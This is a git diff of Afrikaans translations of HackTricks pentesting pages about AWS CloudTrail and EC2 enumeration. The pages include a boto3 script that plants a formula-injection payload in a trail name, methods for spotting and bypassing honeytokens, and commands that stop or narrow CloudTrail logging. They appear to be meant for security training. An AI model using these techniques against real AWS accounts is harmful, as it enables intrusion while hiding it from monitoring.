AWS Toegang Adviseur staat op die laaste 400 dae AWS **CloudTrail logs om sy insigte te versamel**. CloudTrail vang 'n geskiedenis van AWS API oproepe en verwante gebeurtenisse wat in 'n AWS rekening gemaak is. Toegang Adviseur gebruik hierdie data om **te wys wanneer dienste laas toeganklik was**. Deur CloudTrail logs te analiseer, kan Toegang Adviseur bepaal watter AWS dienste 'n IAM gebruiker of rol toeganklik gemaak het en wanneer daardie toegang plaasgevind het. Dit help AWS administrateurs om ingeligte besluite te neem oor **die verfyning van toestemmings**, aangesien hulle dienste kan identifiseer wat vir lang tydperke nie toeganklik was nie en moontlik oorbodige toestemmings kan verminder op grond van werklike gebruikspatrone.
|
||||
AWS Access Advisor staat op die laaste 400 dae AWS **CloudTrail logs om sy insigte te versamel**. CloudTrail vang 'n geskiedenis van AWS API oproepe en verwante gebeurtenisse wat in 'n AWS rekening gemaak is. Access Advisor gebruik hierdie data om **te wys wanneer dienste laas toeganklik was**. Deur CloudTrail logs te analiseer, kan Access Advisor bepaal watter AWS dienste 'n IAM gebruiker of rol toeganklik gemaak het en wanneer daardie toegang plaasgevind het. Dit help AWS administrateurs om ingeligte besluite te neem oor **die verfyning van toestemmings**, aangesien hulle dienste kan identifiseer wat vir lang tydperke nie toeganklik was nie en moontlik oorbodige breë toestemmings kan verminder op grond van werklike gebruikspatrone.
|
||||
|
||||
> [!TIP]
|
||||
> Daarom informeer Toegang Adviseur oor **die onnodige toestemmings wat aan gebruikers gegee word** sodat die admin dit kan verwyder
|
||||
> Daarom informeer Access Advisor oor **die onnodige toestemmings wat aan gebruikers gegee word** sodat die admin dit kan verwyder
|
||||
|
||||
<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Aksies
|
||||
## Actions
|
||||
|
||||
### Enumerasie
|
||||
### Enumeration
|
||||
```bash
|
||||
# Get trails info
|
||||
aws cloudtrail list-trails
|
||||
@@ -122,10 +122,10 @@ aws cloudtrail list-event-data-stores
|
||||
aws cloudtrail list-queries --event-data-store <data-source>
|
||||
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
|
||||
```
|
||||
### **CSV Inspuiting**
|
||||
### **CSV Injection**
|
||||
|
||||
Dit is moontlik om 'n CVS inspuiting binne CloudTrail uit te voer wat arbitrêre kode sal uitvoer as die logs in CSV uitgevoer word en met Excel oopgemaak word.\
|
||||
Die volgende kode sal 'n loginskrywing genereer met 'n slegte Trail naam wat die payload bevat:
|
||||
Dit is moontlik om 'n CVS-inspuiting binne CloudTrail uit te voer wat arbitrêre kode sal uitvoer as die logs in CSV uitgevoer word en met Excel oopgemaak word.\
|
||||
Die volgende kode sal 'n loginskrywing genereer met 'n slegte Trail-naam wat die payload bevat:
|
||||
```python
|
||||
import boto3
|
||||
payload = "=cmd|'/C calc'|''"
|
||||
@@ -139,7 +139,7 @@ print(response)
|
||||
Vir meer inligting oor CSV-inspuitings, kyk na die bladsy:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/formula-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
|
||||
{{#endref}}
|
||||
|
||||
Vir meer inligting oor hierdie spesifieke tegniek, kyk [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
|
||||
@@ -148,9 +148,9 @@ Vir meer inligting oor hierdie spesifieke tegniek, kyk [https://rhinosecuritylab
|
||||
|
||||
### HoneyTokens **omseil**
|
||||
|
||||
Honeytokens word geskep om **die uitvloeiing van sensitiewe inligting te detecteer**. In die geval van AWS, is dit **AWS sleutels waarvan die gebruik gemonitor word**, as iets 'n aksie met daardie sleutel aktiveer, dan moet iemand daardie sleutel gesteel het.
|
||||
Honeytokens word geskep om **uitvloeing van sensitiewe inligting te detecteer**. In die geval van AWS, is dit **AWS sleutels waarvan die gebruik gemonitor word**, as iets 'n aksie met daardie sleutel aktiveer, dan moet iemand daardie sleutel gesteel het.
|
||||
|
||||
E however, Honeytokens soos die wat deur [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) geskep is, gebruik óf 'n herkenbare rekeningnaam óf gebruik dieselfde AWS rekening ID vir al hul kliënte. Daarom, as jy die rekeningnaam en/of rekening ID kan kry sonder om Cloudtrail enige log te laat skep, **kan jy weet of die sleutel 'n honeytoken is of nie**.
|
||||
E however, Honeytokens soos die wat geskep is deur [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) gebruik óf 'n herkenbare rekeningnaam óf gebruik dieselfde AWS rekening ID vir al hul kliënte. Daarom, as jy die rekeningnaam en/of rekening ID kan kry sonder om Cloudtrail enige log te laat genereer, **kan jy weet of die sleutel 'n honeytoken is of nie**.
|
||||
|
||||
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) het 'n paar reëls om te detecteer of 'n sleutel aan [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)** behoort:**
|
||||
|
||||
@@ -158,7 +158,7 @@ E however, Honeytokens soos die wat deur [**Canarytokens**](https://canarytokens
|
||||
- Deur hulle meer onlangs te toets, gebruik hulle die rekening **`717712589309`** en het steeds die **`canarytokens.com`** string in die naam.
|
||||
- As **`SpaceCrab`** in die rolnaam in die foutboodskap verskyn.
|
||||
- **SpaceSiren** gebruik **uuids** om gebruikersname te genereer: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
|
||||
- As die **naam lyk soos dit lukraak gegenereer is**, is daar 'n hoë waarskynlikheid dat dit 'n HoneyToken is.
|
||||
- As die **naam soos lukraak gegenereer lyk**, is daar 'n hoë waarskynlikheid dat dit 'n HoneyToken is.
|
||||
|
||||
#### Kry die rekening ID van die Sleutel ID
|
||||
|
||||
@@ -181,7 +181,7 @@ return (e)
|
||||
|
||||
print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
|
||||
```
|
||||
Kyk meer inligting in die [**oorspronklike navorsing**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
|
||||
Kontroleer meer inligting in die [**oorspronklike navorsing**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
|
||||
|
||||
#### Moet nie 'n log genereer nie
|
||||
|
||||
@@ -191,9 +191,9 @@ Die ding is dat die uitvoer 'n fout sal toon wat die rekening-ID en die rekening
|
||||
|
||||
#### AWS-dienste sonder logs
|
||||
|
||||
In die verlede was daar 'n paar **AWS-dienste wat nie logs na CloudTrail gestuur het nie** (vind 'n [lys hier](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Sommige van daardie dienste sal **antwoordgee** met 'n **fout** wat die **ARN van die sleutelrol** bevat as iemand ongeoorloof (die honeytoken-sleutel) probeer om toegang te verkry.
|
||||
In die verlede was daar 'n paar **AWS-dienste wat nie logs na CloudTrail stuur nie** (vind 'n [lys hier](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Sommige van daardie dienste sal **reageer** met 'n **fout** wat die **ARN van die sleutelrol** bevat as iemand ongeoorloof (die honeytoken-sleutel) probeer om toegang te verkry.
|
||||
|
||||
Op hierdie manier kan 'n **aanvaller die ARN van die sleutel verkry sonder om enige log te aktiveer**. In die ARN kan die aanvaller die **AWS-rekening-ID en die naam** sien, dit is maklik om die HoneyToken se maatskappy-rekeninge se ID's en name te ken, so op hierdie manier kan 'n aanvaller identifiseer of die token 'n HoneyToken is.
|
||||
Op hierdie manier kan 'n **aanvaller die ARN van die sleutel verkry sonder om enige log te aktiveer**. In die ARN kan die aanvaller die **AWS-rekening-ID en die naam** sien, dit is maklik om die HoneyToken se maatskappy se rekening-ID en name te ken, so op hierdie manier kan 'n aanvaller identifiseer of die token 'n HoneyToken is.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -204,7 +204,7 @@ Op hierdie manier kan 'n **aanvaller die ARN van die sleutel verkry sonder om en
|
||||
|
||||
### Toegang tot Derde Infrastruktuur
|
||||
|
||||
Sekere AWS-dienste sal **sekere infrastruktuur** genereer soos **Databasisse** of **Kubernetes** klusters (EKS). 'n Gebruiker wat **direk met daardie dienste praat** (soos die Kubernetes API) **sal nie die AWS API gebruik nie**, so CloudTrail sal nie in staat wees om hierdie kommunikasie te sien nie.
|
||||
Sekere AWS-dienste sal **'n bietjie infrastruktuur** genereer soos **Databasisse** of **Kubernetes** klusters (EKS). 'n Gebruiker wat **direk met daardie dienste praat** (soos die Kubernetes API) **sal nie die AWS API gebruik nie**, so CloudTrail sal nie in staat wees om hierdie kommunikasie te sien nie.
|
||||
|
||||
Daarom kan 'n gebruiker met toegang tot EKS wat die URL van die EKS API ontdek het, 'n token plaaslik genereer en **direk met die API-diens praat sonder om deur Cloudtrail opgespoor te word**.
|
||||
|
||||
@@ -228,7 +228,7 @@ aws cloudtrail stop-logging --name [trail-name]
|
||||
```bash
|
||||
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
|
||||
```
|
||||
#### Deaktiveer Logging deur Gebeurteniskeuses
|
||||
#### Deaktiveer Logging deur Gebeurtenis Keuses
|
||||
```bash
|
||||
# Leave only the ReadOnly selector
|
||||
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
|
||||
@@ -236,9 +236,9 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
|
||||
# Remove all selectors (stop Insights)
|
||||
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
|
||||
```
|
||||
In die eerste voorbeeld word 'n enkele gebeurteniskeuse as 'n JSON-array met 'n enkele objek voorsien. Die `"ReadWriteType": "ReadOnly"` dui aan dat die **gebeurteniskeuse slegs lees-slegs gebeurtenisse moet vasvang** (so CloudTrail insigte **sal nie skryf** gebeurtenisse nagaan nie).
|
||||
In die eerste voorbeeld word 'n enkele gebeurtenis selektor as 'n JSON-array met 'n enkele objek verskaf. Die `"ReadWriteType": "ReadOnly"` dui aan dat die **gebeurtenis selektor slegs lees-slegs gebeurtenisse moet vasvang** (so CloudTrail insigte **sal nie skryf** gebeurtenisse nagaan nie).
|
||||
|
||||
Jy kan die gebeurteniskeuse aanpas op grond van jou spesifieke vereistes.
|
||||
Jy kan die gebeurtenis selektor aanpas op grond van jou spesifieke vereistes.
|
||||
|
||||
#### Logs verwydering via S3 lewensiklusbeleid
|
||||
```bash
|
||||
|
||||
@@ -17,12 +17,12 @@ Dit is moontlik om die **enige poort van die virtuele masjiene aan die internet
|
||||
#### SSRF
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### Publieke AMIs & EBS Snapshot
|
||||
### Publieke AMI's & EBS Snapshotte
|
||||
|
||||
AWS laat toe om **toegang aan enigiemand te gee om AMIs en Snapshots af te laai**. Jy kan hierdie hulpbronne baie maklik vanaf jou eie rekening lys:
|
||||
AWS laat toe om **toegang aan enigiemand te gee om AMI's en Snapshotte af te laai**. Jy kan hierdie hulpbronne baie maklik vanaf jou eie rekening lys:
|
||||
```bash
|
||||
# Public AMIs
|
||||
aws ec2 describe-images --executable-users all
|
||||
@@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
|
||||
```
|
||||
As jy 'n snapshot vind wat deur enigiemand herstel kan word, maak seker om [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) te kontroleer vir riglyne oor die aflaai en plundering van die snapshot.
|
||||
As jy 'n snapshot vind wat deur enigiemand herstel kan word, maak seker om [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) na te gaan vir riglyne oor die aflaai en plunder van die snapshot.
|
||||
|
||||
#### Publieke URL-sjabloon
|
||||
```bash
|
||||
@@ -47,7 +47,7 @@ ec2-{ip-seperated}.compute-1.amazonaws.com
|
||||
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
|
||||
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
|
||||
```
|
||||
### Enumereer EC2-instanse met openbare IP
|
||||
### Enumereer EC2-instansies met openbare IP
|
||||
```bash
|
||||
aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user